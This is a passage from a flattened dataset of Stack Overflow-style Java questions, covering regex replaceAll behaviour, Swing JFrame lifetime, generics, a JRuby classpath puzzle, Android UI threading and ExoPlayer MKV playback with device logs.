AdoptOpenJDK ) ( build 25.242-b08 , mixed mode )",Error when trying to run a Play Scala app with sbt after fresh install on Catalina : `` Error loading JNotify watch service : null '' +Java,"Given this code : Why does replaced contain the string HIHI instead of HI as I would have guessed ? It seems that it has something to do with the beginning of a line since using the pattern ^ . * yields HI , but I do n't get the reason for this .","String replaced = `` A '' .replaceAll ( `` . * '' , `` HI '' ) ;",Replacing a string with the regular expression `` . * '' returns the replacement twice +Java,How come JFrame instances are always reachable within a Swing application ? Wo n't that prevent it from being garbage collected ? Calling dispose ( ) does n't help . It is not even shown .,JFrame frame = new JFrame ( ) ; System.out.println ( Window.getWindows ( ) .length ) ; // says ' 1 ',Why is Swing JFrame always reachable ? +Java,"My problem is the following , I have quite a long Getter , i.e. , Due to `` bad '' database/entity design ( some things were introduced later than others ) it happens that getObjectB ( ) , getObjectC ( ) or getObjectD ( ) could return NULL.Usually we use null-checks all the time , but in this case , I 'd have to useInstead it would be much easier to simply use a try-catch blockIn this case I do n't really care which object returned NULL , it 's either display a name or do n't . Are there any complications or is it bad design to use try-catch instead of checks ? Thanks for your input .",objectA.getObjectB ( ) .getObjectC ( ) .getObjectD ( ) .getObjectE ( ) .getName ( ) ; ObjectB b = objectA.getObjectB ( ) ; if ( b ! = null ) { ObjectC c = b.getObjectC ( ) ; if ( c ! = null ) { ObjectD d = c.getObjectD ( ) ; if ( d ! = null ) return d.getObjectE ( ) .getName ( ) ; } } return `` '' ; try { return objectA.getObjectB ( ) .getObjectC ( ) .getObjectD ( ) .getObjectE ( ) .getName ( ) ; } catch ( NullPointerException e ) { return `` '' ; },Try-Catch Instead of Null Check When Using Several Getters +Java,"I want to fix malformed ellipses ( ... ) in a String.should all be corrected to : The following regex handles any instance of 3 or more consecutive . 's : However , I do n't know how to handle the case when there are exactly 2 consecutive . 's . We can not do something like this : For example , for `` ... '' , the code above will return `` ... ... '' , as the regex will replace the first 2 . 's ( index 0 and 1 ) , then the next 2 . 's ( index 1 and 2 ) , resulting in `` ... '' + `` ... '' = `` ... ... '' .Something like this works : ... but there must be a better way !","`` Hello.. World.. '' '' Hello ... World ... '' // this is correct '' Hello ... . World ... . '' '' Hello ... .. World ... .. '' `` Hello ... World ... '' line.replaceAll ( `` \\ . { 3 , } '' , `` ... '' ) ; line.replaceAll ( `` \\ . { 2 } '' , `` ... '' ) ; line.replaceAll ( `` \\ . { 2 } '' , `` ... '' ) .replaceAll ( `` \\ . { 3 , } '' , `` ... '' ) ;",Fix malformed ellipses in a string +Java,"I 'm quite new to Java , and I have a question about method invocation conversion.I 've made a new class that extends ArrayList called ListableList - but that does not seem to be the problem.The problem is I have a method that looks like thisI call this method like this : Where rules is initialized asAnd Rule implements Listable.When I try to compile I get : Why is this , from what I 've learned , this should work ? ? Thanks in advance : )","public static void printList ( ListableList < Listable > list , String seperator ) { for ( Listable item : list ) { System.out.println ( seperator ) ; System.out.println ( item.toList ( ) ) ; } System.out.println ( seperator ) ; } Output.printList ( rules , `` .. '' ) ; rules = new ListableList < Rule > ( ) ; required : ListableList < Listable > , Stringfound : ListableList < Rule > , Stringreason : actual argument ListableList < Rule > can not be converted to ListableList < Listable > by method invocation conversion",ArrayList < A > conversion to ArrayList < B > when A implements B Java +Java,"I am new to the Java world , but am familiar with Ruby . I am trying to write a program that interacts with some third-party jar files.While the libraries seem to behave fine if called from Java , they behave incorrectly when I call them in JRuby . This is a problem because I would really like to use JRuby . For example , the two programs below try to do exactly the same thing but they produce different output : This Java program behaves correctly.I developed the Java program below in Netbeans and ran it by pressing F6 ( Run Main Project ) . The Libraries folder for the project is set to `` C : \Program Files ( x86 ) \Microchip\MPLABX\mplab_ide\lib\nblibraries.properties '' . When I run it , it prints `` pins : 17 '' .This JRuby program behaves incorrectly.I ran the JRuby program below by just typing jruby bug_reproduce.rb and it printed `` pins : 0 '' . I would expect it to print `` pins : 17 '' like the Java program.More detailsThere are about 80 third-party jar files . They are provided by Microchip as part of MPLAB X and implement a simulator for their microcontrollers . The jar files come with MPLAB X and I also downloaded the MPLAB X SDK to get help with using them . I am using lots of undocumented features of the libraries , but I do n't see any alternative.I am using Windows 7 64-bit SP1 . I have the following Java-related things installed and listed under `` Programs and Features '' : Java 7 Update 17Java 7 Update 17 ( 64-bit ) Java SE Development Kit 7 Update 17 ( 64-bit ) Java ( TM ) 6 Update 22 ( 64-bit ) Java ( TM ) 6 Update 29Java ( TM ) SE Development Kit 6 Update 22 ( 64-bit ) JRuby 1.7.3IntelliJ IDEA Community Edition 12.0.4Netbeans IDE 7.3MPLAB X IDE v1.70I used System.getProperty ( `` java.version '' ) to verify that both of my programs are running under Java 1.6.0_22 . That is good , because I followed the instructions in the MPLAB X SDK that say `` For best results , use the exact same JDK that built the IDE/MDBCore your code will be talking to . For MPLAB X v1.70 , this is JDK 6u22 from Oracle . '' I only installed JDK 7u17 after I encountered this problem , and it did n't make a difference.I was able to find a workaround to the specific problem identified in the examples , but then I continued my development and ran into another problem where the libraries behaved differently . This makes me think that I am doing something fundamentally wrong in the way I use JRuby.Thinking that a differing class path might cause this problem , I tried getting the java program to print out its class path and then edited my JRuby program to require precisely the files in that list , but it made no difference.QuestionsDo you know of anything that might cause code in JAR files to behave differently when called from JRuby instead of Java ? What version of the JDK does JRuby 1.7.3 use , or does that question even make sense ? Update : SOLVEDThanks to D3mon-1stVFW for actually getting MPLAB X and solving my problem for me ! For those who are interested in the nitty gritty details : The number of pins was 0 because the pins are lazy loaded when they are accessed with PinSet.getPin ( String ) . Normally all pins would have been loaded because the peripherals load them , but under JRuby no peripherals were detected . This is because the periphal document could not be found . This is because PerDocumentLocator.findDocs ( ) returned an empty list . PerDocumentLocator failed because com.microchip.mplab.open.util.pathretrieval.PathRetrieval.getPath ( com.microchip.mplab.libs.MPLABDocumentLocator.MPLABDocumentLocator.class ) ) was returning the wrong thing.Consider the following code , which is similar to what is happening inside PathRetrieval.getPath ( except there it was written in Java ) : If I follow D3mon-1stVFW 's tip and add JAR files to the $ CLASSPATH , then that code returns : file : C : /Program Files ( x86 ) /Microchip/MPLABX/mplab_ide/mplablibs/modules/com-mi crochip-mplab-libs-MPLABDocumentLocator.jar ! /com/microchip/mplab/libs/MPLABDocum entLocator/MPLABDocumentLocator.classHowever , if I do n't add things to the class path , then that code strangely returns : file : C : % 5CProgram % 20Files % 20 ( x86 ) % 5CMicrochip % 5CMPLABX % 5Cmplab_ide % 5Cmplablibs % 5Cmodules % 5Ccom-microchip-mplab-libs-MPLABDocumentLocator.jar ! /com/microchip/mpl ab/libs/MPLABDocumentLocator/MPLABDocumentLocator.class '' The % 5C is actually the code for a backslash . The Microchip code in PathRetrieval.getPath does a lot of string manipulation and does not properly handle the case where slashes are represented by % 5C . If anyone has any further insight about why the % 5Cs are appearing , I would be interested to know , but my problem is solved.Conclusion : Sometimes Java 's getResource ( ) returns a URL with % 5C instead of slashes in it and this is affected by what is on the CLASSPATH . If you want to be safe , add the jar file to $ CLASSPATH before requiring it , like this :","package pinbug1 ; import com.microchip.mplab.mdbcore.assemblies.Assembly ; import com.microchip.mplab.mdbcore.assemblies.AssemblyFactory ; import com.microchip.mplab.mdbcore.simulator.PinSet ; import com.microchip.mplab.mdbcore.simulator.Simulator ; import org.openide.util.Lookup ; public class PinBug1 { public static void main ( String [ ] args ) { AssemblyFactory assemblyFactory = Lookup.getDefault ( ) .lookup ( AssemblyFactory.class ) ; Assembly assembly = assemblyFactory.Create ( `` PIC18F14K50 '' ) ; Simulator simulator = assembly.getLookup ( ) .lookup ( Simulator.class ) ; int num = simulator.getDataStore ( ) .getProcessor ( ) .getPinSet ( ) .getNumPins ( ) ; System.out.println ( `` pins : `` + num ) ; // prints `` pins : 17 '' } } [ `` mplab_ide/mdbcore/modules/*.jar '' , `` mplab_ide/mplablibs/modules/*.jar '' , `` mplab_ide/mplablibs/modules/ext/*.jar '' , `` mplab_ide/platform/lib/org-openide-util*.jar '' , `` mplab_ide/mdbcore/modules/ext/org-openide-filesystems.jar '' ] .each do |pattern| Dir.glob ( `` C : /Program Files ( x86 ) /Microchip/MPLABX/ '' + pattern ) .each do |x| require x endendassemblyFactory = org.openide.util.Lookup.getDefault.lookup ( com.microchip.mplab.mdbcore.assemblies.AssemblyFactory.java_class ) assembly = assemblyFactory.create ( `` PIC18F14K50 '' ) simulator = assembly.getLookup.lookup ( com.microchip.mplab.mdbcore.simulator.Simulator.java_class ) num = simulator.getDataStore.getProcessor.getPinSet.getNumPinsputs `` pins : # { num } '' # = > pins : 0 com.microchip.mplab.libs.MPLABDocumentLocator.MPLABDocumentLocator.java_class.resource ( `` MPLABDocumentLocator.class '' ) .getFile ( ) require 'java ' $ CLASSPATH < < jar_filenamerequire jar_filename",What causes a Java library to behave differently when called by JRuby ? +Java,"Scenario : I ran into a strange issue while testing out threads in my fragment . I have a fragment written in Kotlin with the following snippet in onResume ( ) : is MainThread ( ) is a function that checks if the current thread is the main thread like so : I am seeing my TextView get updated after 2 seconds with the text `` Something something : false '' Seeing false tells me that this thread is currently not the UI/Main thread.I thought this was strange so I created the same fragment but written in Java instead with the following snippet from onResume ( ) : The app crashes with the following exception as expected : I did some research but I could n't really find something that explains this . Also , please assume that my views are all inflated correctly.Question : Why does my app not crash when I modify my TextView in the runnable that 's running off my UI thread in the Fragment written in Kotlin ? If there 's something in some documentation somewhere that explains this , can someone please refer me to this ? I am not actually trying to modify my UI off the UI thread , I am just curious why this is happening.Please let me know if you guys need any more information . Thanks a lot ! Update : As per what @ Hong Duan mentioned , requestLayout ( ) was not getting called . This has nothing to do with Kotlin/Java but with the TextView itself . I goofed and did n't realize that the TextView in my Kotlin fragment has a layout_width of `` match_parent . '' Whereas the TextView in my Java fragment has a layout_width of `` wrap_content . `` TLDR : User error + requestLayout ( ) , where thread checking does n't always occur .",override fun onResume ( ) { super.onResume ( ) val handlerThread = HandlerThread ( `` Stuff '' ) handlerThread.start ( ) val handler = Handler ( handlerThread.looper ) handler.post { Thread.sleep ( 2000 ) tv_name.setText ( `` Something something : `` + isMainThread ( ) ) } } private fun isMainThread ( ) : Boolean = Looper.myLooper ( ) == Looper.getMainLooper ( ) @ Overridepublic void onResume ( ) { super.onResume ( ) ; HandlerThread handlerThread = new HandlerThread ( `` stuff '' ) ; handlerThread.start ( ) ; new Handler ( handlerThread.getLooper ( ) ) .post ( new Runnable ( ) { @ Override public void run ( ) { try { Thread.sleep ( 2000 ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } textView.setText ( `` Something something ... '' ) ; } } ) ; } android.view.ViewRootImpl $ CalledFromWrongThreadException : Only the original thread that created a view hierarchy can touch its views . at android.view.ViewRootImpl.checkThread ( ViewRootImpl.java:7313 ) at android.view.ViewRootImpl.requestLayout ( ViewRootImpl.java:1161 ),Android UI Not Crashing When Modifying View off UI Thread +Java,"Is there any editor for Java that is capable of highlighting all inherited members ? It seems to be a very useful feature to aid in understanding the structure of the derived class that accesses members of the base class ( es ) . I 'm personally using Intellij-IDEA and if you are aware of any way to that there , please do share . All other editors are welcome ! For example you can sometimes see the following scenario ( and please do not consider this example serious ) .UPDATE : extended the exampleThe usage of a and x in class B needs to be highlighted , because both are the inherited data members of class A .",class A { ... protected int a ; protected int x ; ... } class B extends A { ... protected int b ; void isntThatCoolIfSomeoneOverridesA ( ) { a = b ; x = b * b ; } ... },Java : Highlighting all derived data members +Java,"The above code has a reference of type List referring to an instance of ArrayList of type String . When the line list.add ( 1 ) is executed , is n't the 1 added to the ArrayList ( of type String ) ? If yes , then why is this allowed ?",List list = new ArrayList < String > ( ) ; list.add ( 1 ) ; Integer hello = ( Integer ) list.get ( 0 ) ; System.out.println ( hello ) ;,How can an Integer be added to a String ArrayList ? +Java,"I 'm looking at the the java docs for DataInputStream here : http : //docs.oracle.com/javase/7/docs/api/java/io/DataInputStream.htmlI 'm looking to see what its methods do so I look at the descriptions of readBoolean ( ) , readByte ( ) , readChar ( ) etc . The descriptions are all something along the lines of : See the general contract of the readBoolean method of DataInput.And in the extended explanation.Where can I `` see '' the general contracts of these methods and what is a general contract of a method ?","public final boolean readBoolean ( ) throws IOExceptionSee the general contract of the readBoolean method of DataInput.Bytes for this operation are read from the contained input stream.Specified by : readBoolean in interface DataInputReturns : the boolean value read.Throws : EOFException - if this input stream has reached the end.IOException - the stream has been closed and the contained input stream does not support reading after close , or another I/O error occurs.See Also : FilterInputStream.in",What is the `` general contract '' of a method +Java,"I have code which I am unable to understand , how it produces that output . Here is the code below-Code : Output : r1 r4 pre b1 b2 r3 r2 hawkQuestions : My specific questions regarding this code are-When Hawk class is instationed , it cause Raptor class to be instationed , and hence the static code block runs first . But then , static code should be followed by non-static ones , before printing pre . Is n't it ? Those non-static initialization blocks seem to be actually acting like constructors . So , can these be used as constructors in regular programming ?",class Bird { { System.out.print ( `` b1 `` ) ; } public Bird ( ) { System.out.print ( `` b2 `` ) ; } } class Raptor extends Bird { static { System.out.print ( `` r1 `` ) ; } public Raptor ( ) { System.out.print ( `` r2 `` ) ; } { System.out.print ( `` r3 `` ) ; } static { System.out.print ( `` r4 `` ) ; } } class Hawk extends Raptor { public static void main ( String [ ] args ) { System.out.print ( `` pre `` ) ; new Hawk ( ) ; System.out.println ( `` hawk `` ) ; } },Behavior of Initialization Blocks +Java,Is there a construct in java that does something like this ( here implemented in python ) : Today I 'm using something like : And to me the first way looks a bit smarter .,[ ] = [ item for item in oldList if item.getInt ( ) > 5 ] ItemType newList = new ArrayList ( ) ; for ( ItemType item : oldList ) { if ( item.getInt > 5 ) { newList.add ( item ) ; } },Java oneliner for list cleanup +Java,"The following program uses an inner class named Anonymous which itself extends its enclosing class Main.The only statement in the main ( ) method invokes the constructor of the outer class Main supplying a string main and just then the method reproduce ( ) is being called.The reproduce method contains the statement new Anonymous ( ) .printName ( ) ; which invokes the printName ( ) method on the Anonymous class object . The super ( ) ; constructor is supplying a new string reproduce to its enclosing super class Main.Accordingly , the statement within the printName method System.out.println ( name ( ) ) ; should display the string reproduce rather than main but it always displays the string main . Why is it so ?",package name ; public class Main { private final String name ; Main ( String name ) { this.name = name ; } private String name ( ) { return name ; } private void reproduce ( ) { new Anonymous ( ) .printName ( ) ; } private class Anonymous extends Main { public Anonymous ( ) { super ( `` reproduce '' ) ; } public void printName ( ) { System.out.println ( name ( ) ) ; } } public static void main ( String [ ] args ) { new Main ( `` main '' ) .reproduce ( ) ; } },A twisted inner class in Java +Java,I am new to Java concept of Regular expression . Could anyone please tell me the correct regular expression that I should use for the below string -String exp = `` ABCD_123_abc '' .and the regular expression that I am using for the above string is : regExp = `` ( [ a-zA-Z ] + ) _ ( [ 0-9 ] + ) _ ( [ a-z ] + ) '' But the output of the below code is `` **No Match Found** '',Public static void main ( ) { String exp = `` ABCD_123_abc '' ; String regExp = `` ( [ a-zA-Z ] + ) _ ( [ 0-9 ] + ) _ ( [ a-z ] + ) '' ; Pattern pattern = Pattern.compile ( exp ) ; Matcher matcher = pattern.matcher ( regExp ) ; if ( matcher.matches ( ) ) { System.out.println ( `` Match found '' ) ; } else { System.out.println ( `` NO Match found '' ) ; } },RegExp confusion +Java,"I 've gone through several previous questions like Encounter order preservation in java stream , this answer by Brian Goetz , as well as the javadoc for Stream.reduce ( ) , and the java.util.stream package javadoc , and yet I still ca n't grasp the following : Take this piece of code : Why is the reduction always* preserving the encounter order ? So far , after several dozen runs , output is the same","public static void main ( String ... args ) { final String [ ] alphabet = `` ABCDEFGHIJKLMNOPQRSTUVWXYZ '' .split ( `` '' ) ; System.out.println ( `` Alphabet : `` .concat ( Arrays.toString ( alphabet ) ) ) ; System.out.println ( new HashSet < > ( Arrays.asList ( alphabet ) ) .parallelStream ( ) .unordered ( ) .peek ( System.out : :println ) .reduce ( `` '' , ( a , b ) - > a + b , ( a , b ) - > a + b ) ) ; }","Stream.reduce always preserving order on parallel , unordered stream" +Java,I am struggling to read excel file in a dynamic web project I am developing . I could easily read it in a java application by following the same steps.What I did ? I added these to build pathxmlbeans-2.6.0.jarpoi-3.13-20150939poi-examplespoi-excelantpoi-ooxmlpoi-ooxml-schemaspoi-scratchpadCode : The ErrorIt is pretty long but this is the gist of itThe QuestionI want to know how to solve this and as I mentioned it works in another similar java file after following the same steps . I want to integrate it in the web app . I 've also tried calling the routine which imports the database in Java from the WebApp ( which uses tomcat if that helps ) still no luck .,FileInputStream input_document = new FileInputStream ( new File ( `` file_location '' ) ) ; XSSFWorkbook my_xls_workbook = new XSSFWorkbook ( input_document ) ; XSSFSheet my_worksheet = my_xls_workbook.getSheetAt ( 0 ) ; XSSFCell cell=null ; for ( int i=0 ; i < 463 ; i++ ) { cell = my_worksheet.getRow ( i ) .getCell ( 0 ) ; words [ i ] =cell.getStringCellValue ( ) ; System.out.println ( words [ i ] ) ; } my_xls_workbook.close ( ) ; SEVERE : StandardWrapper.Throwablejava.lang.NoClassDefFoundError : org/apache/poi/xssf/usermodel/XSSFWorkbookorg.apache.catalina.core.StandardWrapperValve invokeSEVERE : Allocate exception for servlet vhealth.GetMedjava.lang.ClassNotFoundException : org.apache.poi.xssf.usermodel.XSSFWorkbook,Read excel fie in java using poi +Java,When I try to import MultiMap in Drools rule it caused an error below Does anyone know how can I import any com.google.common.collect in Drools rule ? P.S . Problem solevedIf anyone is interested you should use backquotes like below,"[ 11,25 ] : [ ERR 102 ] Line 11:25 mismatched input 'COLLECT ' expecting 'identifier ' in import com.google.common. ` collect ` .Multimap",Google collect import in Drools +Java,"I am reading about double check locking from Effective Java . The code does the following : It says that using result seems unneeded but actually ensures that the field is only read only once in the common case where it is already initialized.But I do n't understand this . What is the difference with doing if ( field == null ) directly ? I do n't understand why if ( result == null ) is different , let alone better as stated .",private volatile FieldType field ; FieldType getField ( ) { FieldType result = field ; if ( result == null ) { // First check ( no locking ) synchronized ( this ) { result = field ; if ( result == null ) // Second check ( with locking ) field = result = computeFieldValue ( ) ; } } return result ; },Why is the volatile field copied to a local variable when doing double check locking +Java,"I get a map from a service not under my control that might be null and want to process it , let 's say , filter , map and reduce to a single element I need.Question : is there a `` link '' from Optional to Stream ? I tried ( among other things ) : but then I get not Stream < Entry > but Stream < Set < Entry > > ... is there a way to somehow flatMap a collection or map out of an Optional ? Note : I am interested in a fluent , pure stream/optional approach here . It works of course when I save the map to local var first and make sure it is not null .",return Optional.ofNullable ( getMap ( ) ) .map ( Map : :entrySet ) // gets the entryset .map ( Stream : :of ) .orElseGet ( Stream : :empty ) // i would then like to continue with .filter ( e - > e.getKey ( ) .startsWith ( `` f '' ) .map ( Entry : :getValue ) .findFirst ( ) ;,using a stream based on the content of Optional < Map > +Java,"To take full advantage of function composition in Java I 'd like to curry some existing static functions that I commonly use . A perfect candidate for currying is Apache Commons StringUtils.For a concrete example let 's say I wanted to curry the StringUtils.remove ( String str , String remove ) method to provide a function called ( say ) removeCommas.One possible implementation is : However this is n't currying . I would expect to be able to use method reference operator ( eg StringUtils : :remove ) to achieve this in a more functional way , but I can not figure out what the syntax would look like.Thoughts ?","Function < String , String > removeCommas = s - > StringUtils.remove ( s , `` , '' ) ;",java - curry an existing static function +Java,"I would like to hide the minimize/maximize buttons for views in Eclipse RCP . Currently I 'm running an RCP 3 product in RCP 4 ( Compatability mode ) . This is the top bar of the view containing all of the buttons . ( I 've covered up the logos etc ) One method of removing the buttons is to create a style.css file and to specify that the buttons should n't be visible . This results in this.This is successfully removing the minimize/maximise buttons but is also shifting down the drop down button to a row below . What might be causing this ? UpdateAs an alternative I 've tried removing addons.swt from the e4xmi file . This included CleanupAddon , DnDAddon and MinMaxAddon . The buttons still remained .",.MPartStack { swt-maximize-visible : false ; swt-minimize-visible : false ; },Remove the minimize/maximize buttons on views +Java,In my video player when i try to play MKV Matroska file it stay still the video is not playing.i followed CodeLabs and ExoPlayer Dev and build player it can play .MP4 but unable to play .MKVhere is my player : ( exoplayer 2.11.5 ) Show how should i play MKV video using exoplayer . All files are local files from storage.I even tried following method : In logcat i see this error:2826-3120/com.example.jlplayer E/ACodec : [ OMX.google.hevc.decoder ] setPortMode on output to DynamicANWBuffer failed w/ err -1010EDIT : after multiple research here is what i tried https : //github.com/sanoj26692/pay/blob/master/playerhere is the file am trying to play in offline mode . http : //jell.yfish.us/media/jellyfish-3-mbps-hd-h264.mkvand here is my logcat :,"private void initializePlayer ( ) { if ( player == null ) { player = new SimpleExoPlayer.Builder ( this ) .build ( ) ; playerView.setPlayer ( player ) ; Uri uri = Uri.parse ( String.valueOf ( videoUri ) ) ; MediaSource mediaSource = buildMediaSource ( uri ) ; player.setPlayWhenReady ( playWhenReady ) ; player.seekTo ( currentWindow , playbackPosition ) ; player.addListener ( playbackStateListener ) ; player.prepare ( mediaSource , false , false ) ; } } private MediaSource buildMediaSource ( Uri uri ) { DataSource.Factory dataSourceFactory = new DefaultDataSourceFactory ( this , `` exoplayer-codelab '' ) ; @ C.ContentType int type = Util.inferContentType ( uri ) ; switch ( type ) { case C.TYPE_DASH : return new DashMediaSource.Factory ( dataSourceFactory ) .createMediaSource ( uri ) ; case C.TYPE_SS : return new SsMediaSource.Factory ( dataSourceFactory ) .createMediaSource ( uri ) ; case C.TYPE_HLS : return new HlsMediaSource.Factory ( dataSourceFactory ) .createMediaSource ( uri ) ; case C.TYPE_OTHER : return new ProgressiveMediaSource.Factory ( dataSourceFactory ) .createMediaSource ( uri ) ; default : throw new IllegalStateException ( `` Unsupported type : `` + type ) ; } } private MediaSource buildMediaSource ( Uri uri ) { DataSource.Factory dataSourceFactory = new DefaultDataSourceFactory ( this , `` exoplayer-codelab '' ) ; return new ProgressiveMediaSource.Factory ( dataSourceFactory ) .createMediaSource ( uri ) ; } } 2020-08-17 01:36:23.384 10937-10937/com.google.android.exoplayer2.demo V/AudioManager : playSoundEffect effectType : 0 -- -- -- -- - beginning of system2020-08-17 01:36:23.427 10937-10937/com.google.android.exoplayer2.demo D/HwCust : Create obj success use class android.app.HwCustActivityImpl2020-08-17 01:36:23.430 10937-10937/com.google.android.exoplayer2.demo D/HwCust : Create obj success use class android.app.HwCustHwWallpaperManagerImpl2020-08-17 01:36:23.432 10937-10937/com.google.android.exoplayer2.demo V/ActivityThread : ActivityThread , callActivityOnCreate2020-08-17 01:36:23.455 10937-10937/com.google.android.exoplayer2.demo D/HwRTBlurUtils : check blur style for HwPhoneWindow , themeResId : 0x7f1000fc , context : com.google.android.exoplayer2.demo.PlayerActivity @ b211450 , Nhwext : 0 , get Blur : disable with , null2020-08-17 01:36:23.456 10937-10937/com.google.android.exoplayer2.demo D/HwRTBlurUtils : check blur style for HwPhoneWindow , themeResId : 0x7f1000fc , context : com.google.android.exoplayer2.demo.PlayerActivity @ b211450 , Nhwext : 0 , get Blur : disable with , null2020-08-17 01:36:23.555 10937-10937/com.google.android.exoplayer2.demo I/ExoPlayerImpl : Init cb3d2e5 [ ExoPlayerLib/2.11.7 ] [ HWPRA-H , PRA-AL00X , HUAWEI , 26 ] 2020-08-17 01:36:23.562 10937-10937/com.google.android.exoplayer2.demo V/AudioManager : registerAudioFocusListener ... 2020-08-17 01:36:23.565 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : state [ eventTime=0.01 , mediaPos=0.00 , window=0 , true , BUFFERING ] 2020-08-17 01:36:23.567 10937-10937/com.google.android.exoplayer2.demo D/ActivityThread : add activity client record , r= ActivityRecord { b53b861 token=android.os.BinderProxy @ 862c24d { com.google.android.exoplayer2.demo/com.google.android.exoplayer2.demo.PlayerActivity } } token= android.os.BinderProxy @ 862c24d2020-08-17 01:36:23.578 10937-10978/com.google.android.exoplayer2.demo D/OpenGLRenderer : HWUI Binary is enabled2020-08-17 01:36:23.581 10937-11127/com.google.android.exoplayer2.demo D/MediaCodecInfo : NoSupport [ sizeAndRate.support , 1920x1080x-1.0 ] [ OMX.IMG.MSVDX.Decoder.HEVC , video/hevc ] [ HWPRA-H , PRA-AL00X , HUAWEI , 26 ] 2020-08-17 01:36:23.581 10937-10945/com.google.android.exoplayer2.demo I/zygote64 : Compiler allocated 5MB to compile void android.view.View. < init > ( android.content.Context , android.util.AttributeSet , int , int ) 2020-08-17 01:36:23.583 10937-11127/com.google.android.exoplayer2.demo D/MediaCodecInfo : NoSupport [ sizeAndRate.support , 1920x1080x-1.0 ] [ OMX.IMG.MSVDX.Decoder.HEVC , video/hevc ] [ HWPRA-H , PRA-AL00X , HUAWEI , 26 ] 2020-08-17 01:36:23.588 10937-11127/com.google.android.exoplayer2.demo D/MediaCodecInfo : NoSupport [ sizeAndRate.support , 1920x1080x-1.0 ] [ OMX.IMG.MSVDX.Decoder.HEVC , video/hevc ] [ HWPRA-H , PRA-AL00X , HUAWEI , 26 ] 2020-08-17 01:36:23.596 10937-10937/com.google.android.exoplayer2.demo I/PressGestureDetector : onAttached begin2020-08-17 01:36:23.598 10937-10937/com.google.android.exoplayer2.demo I/PressGestureDetector : onAttached end2020-08-17 01:36:23.598 10937-11131/com.google.android.exoplayer2.demo I/PressGestureDetector : HiTouch restricted : AboardArea.2020-08-17 01:36:23.599 10937-11130/com.google.android.exoplayer2.demo I/OMXClient : Treble IOmx obtained2020-08-17 01:36:23.604 10937-11130/com.google.android.exoplayer2.demo I/ACodec : In onAllocateComponent create compenent , codec name : OMX.google.hevc.decoder2020-08-17 01:36:23.617 10937-11134/com.google.android.exoplayer2.demo E/BufferQueueProducer : [ ] Can not get hwsched service2020-08-17 01:36:23.619 10937-11129/com.google.android.exoplayer2.demo D/SurfaceUtils : connecting to surface 0x7d3548d010 , reason connectToSurface2020-08-17 01:36:23.619 10937-11129/com.google.android.exoplayer2.demo I/MediaCodec : [ OMX.google.hevc.decoder ] setting surface generation to 111994922020-08-17 01:36:23.619 10937-11129/com.google.android.exoplayer2.demo D/SurfaceUtils : disconnecting from surface 0x7d3548d010 , reason connectToSurface ( reconnect ) 2020-08-17 01:36:23.619 10937-11129/com.google.android.exoplayer2.demo D/SurfaceUtils : connecting to surface 0x7d3548d010 , reason connectToSurface ( reconnect ) 2020-08-17 01:36:23.619 10937-11130/com.google.android.exoplayer2.demo W/HwExtendedUtils : hw configLocalPlayBack err = -10102020-08-17 01:36:23.620 10937-11130/com.google.android.exoplayer2.demo E/ACodec : [ OMX.google.hevc.decoder ] setPortMode on output to DynamicANWBuffer failed w/ err -10102020-08-17 01:36:23.620 10937-11130/com.google.android.exoplayer2.demo I/HwExtendedCodec : mime is [ video/hevc ] at setVideoFormat2020-08-17 01:36:23.623 10937-11130/com.google.android.exoplayer2.demo I/ACodec : codec does not support config priority ( err -1010 ) 2020-08-17 01:36:23.628 10937-11130/com.google.android.exoplayer2.demo I/ACodec : onStart2020-08-17 01:36:23.656 10937-10978/com.google.android.exoplayer2.demo D/mali_winsys : EGLint new_window_surface ( egl_winsys_display * , void * , EGLSurface , EGLConfig , egl_winsys_surface ** , egl_color_buffer_format * , EGLBoolean ) returns 0x30002020-08-17 01:36:23.668 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : surfaceSize [ eventTime=0.11 , mediaPos=0.00 , window=0 , 1080 , 1722 ] 2020-08-17 01:36:23.714 10937-11129/com.google.android.exoplayer2.demo D/SurfaceUtils : connecting to surface 0x7d33473010 , reason connectToSurface2020-08-17 01:36:23.714 10937-11129/com.google.android.exoplayer2.demo I/MediaCodec : [ OMX.google.hevc.decoder ] setting surface generation to 111994932020-08-17 01:36:23.714 10937-11129/com.google.android.exoplayer2.demo D/SurfaceUtils : disconnecting from surface 0x7d33473010 , reason connectToSurface ( reconnect ) 2020-08-17 01:36:23.714 10937-11129/com.google.android.exoplayer2.demo D/SurfaceUtils : connecting to surface 0x7d33473010 , reason connectToSurface ( reconnect ) 2020-08-17 01:36:23.715 10937-11129/com.google.android.exoplayer2.demo D/SurfaceUtils : disconnecting from surface 0x7d3548d010 , reason disconnectFromSurface2020-08-17 01:36:23.731 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : timeline [ eventTime=0.17 , mediaPos=0.00 , window=0 , periodCount=1 , windowCount=1 , reason=PREPARED2020-08-17 01:36:23.732 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : period [ ? ] 2020-08-17 01:36:23.732 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : window [ ? , false , false ] 2020-08-17 01:36:23.732 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : ] 2020-08-17 01:36:23.756 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : mediaPeriodCreated [ eventTime=0.20 , mediaPos=0.00 , window=0 , period=0 ] 2020-08-17 01:36:23.758 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : loading [ eventTime=0.20 , mediaPos=0.00 , window=0 , period=0 , true ] 2020-08-17 01:36:23.761 10937-10978/com.google.android.exoplayer2.demo D/OpenGLRenderer : HWUI Binary is enabled2020-08-17 01:36:23.762 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : timeline [ eventTime=0.20 , mediaPos=0.00 , window=0 , period=0 , periodCount=1 , windowCount=1 , reason=DYNAMIC2020-08-17 01:36:23.763 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : period [ 30.10 ] 2020-08-17 01:36:23.763 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : window [ 30.10 , true , false ] 2020-08-17 01:36:23.763 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : ] 2020-08-17 01:36:23.787 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : decoderEnabled [ eventTime=0.23 , mediaPos=0.00 , window=0 , period=0 , video ] 2020-08-17 01:36:23.788 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : tracks [ eventTime=0.23 , mediaPos=0.00 , window=0 , period=02020-08-17 01:36:23.788 10937-10937/com.google.android.exoplayer2.demo D/EventLogger : Renderer:0 [ 2020-08-17 01:36:23.789 